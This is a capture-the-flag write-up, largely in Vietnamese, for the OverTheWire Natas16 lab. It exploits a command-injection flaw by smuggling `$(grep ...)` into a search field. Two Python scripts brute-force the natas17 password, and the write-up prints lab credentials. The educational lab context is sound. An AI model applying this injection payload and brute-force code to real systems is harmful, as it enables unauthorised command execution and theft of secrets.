* Lab: [Natas16](http://natas16.natas.labs.overthewire.org)
* Username: natas16
* Password: TRD7iZrd5gATjj9PkPEuaOlfEjHqj32V
* Descript: RCE vulnerability
* Purpose: Get credentials of Natas17 Labs (at /etc/natas_webpass/natas17) by exploiting RCE vulnerability
* Writeup by Me^^

Truy cập lab được giao diện như trên ,ta thấy có một form search như trên, let's trying test:

---

---
Xem qua source code :

Here's index-source.html:

Giải thích sơ qua đoạn php xử lý trên: sau khi nhận được request từ form trên , key sẽ được gán giá trị từ field input để thực hiện xử lý.
Các ký tự đặc biệt `;` `|` `&` `\` `'` `"` bị chặn khỏi chuỗi nhằm ngăn thực hiện injection attack. Tìm thêm các loại injection một lúc ,thấy rằng `$()` (lệnh thực thi và trả về kêt quả trên linux) không bị chặn khỏi input
Thực hiện input sau : `$(grep a /etc/natas_webpass/natas17)Sunday` and press Search:

Có vẻ như `a` không có trong passwd , vì `$(...)` không trả về giá trị , do đó input chỉ chứa `Sunday`. Do brute-force 32 ký tự trong password với 62 ký tự `a-zA-Z0-9` khá là lâu, ta build code thực hiện tìm giá trị trong passwd sau:
```
#python
import requests
import string
charactor = string.ascii_lowercase + string.ascii_uppercase + string.digits
url = "http://natas16.natas.labs.overthewire.org/"
natas16_username = "natas16"
natas16_passwd = "TRD7iZrd5gATjj9PkPEuaOlfEjHqj32V"
charString = ""
for char in charactor:
print("Trying : "+char)
#Thực hiện request tới web , thử từng giá trị char trong 62 ký tự chữ và số!
response = requests.get(url, params={"needle": f"$(grep {char} /etc/natas_webpass/natas17)Sunday"}, auth=(natas16_username, natas16_passwd))
content = response.text
#Ký tự thỏa mãn được nối vào charString!
if "Sunday" not in content:
print(f"Tim thay: {char}")
charString += char
print(charString)
```

Ta thu được chuỗi các ký tự trong password là: `bdhkmnsuvBCEHIKLRSUX0179`
Sửa chút code ,thực hiện tìm ký tự lần lượt theo các vị trí sử dụng `grep ^` như sau:
```
#python
import requests
import string
charactor = string.ascii_lowercase + string.ascii_uppercase + string.digits
url = "http://natas16.natas.labs.overthewire.org/"
natas16_username = "natas16"
natas16_passwd = "TRD7iZrd5gATjj9PkPEuaOlfEjHqj32V"
password = ""
charString = "bdhkmnsuvBCEHIKLRSUX0179"
while (len(password) < 32):
for char in charString:
print("Try: ", char)
# Sử dụng grep ^ để kiểm tra chuỗi có bắt đầu bằng {password}{char} !{password} ban đầu rỗng
response = requests.get(url, params={ "needle": f"$(grep ^{password}{char} /etc/natas_webpass/natas17)Sunday", "submit": "Search"}, auth=(natas16_username, natas16_passwd))
content = response.text
if "Sunday" not in content:
print("Tim thay: ", char)
# Nối từng ký tự tìm được vào password
password += char
break
print("Password: ", password)
```
Chạy code và đi uống nước , quay lại ta tìm được password cho lab Natas17: XkEuChE0SbnKBvH1RU7ksIb9uuLmI7sd

Do vậy , việc lọc đầu vào không triệt để gây ra những lỗ hổng dẫn đến việc thực thi code từ xa ,tiềm tàng khả năng gây ảnh hưởng đến hệ thống.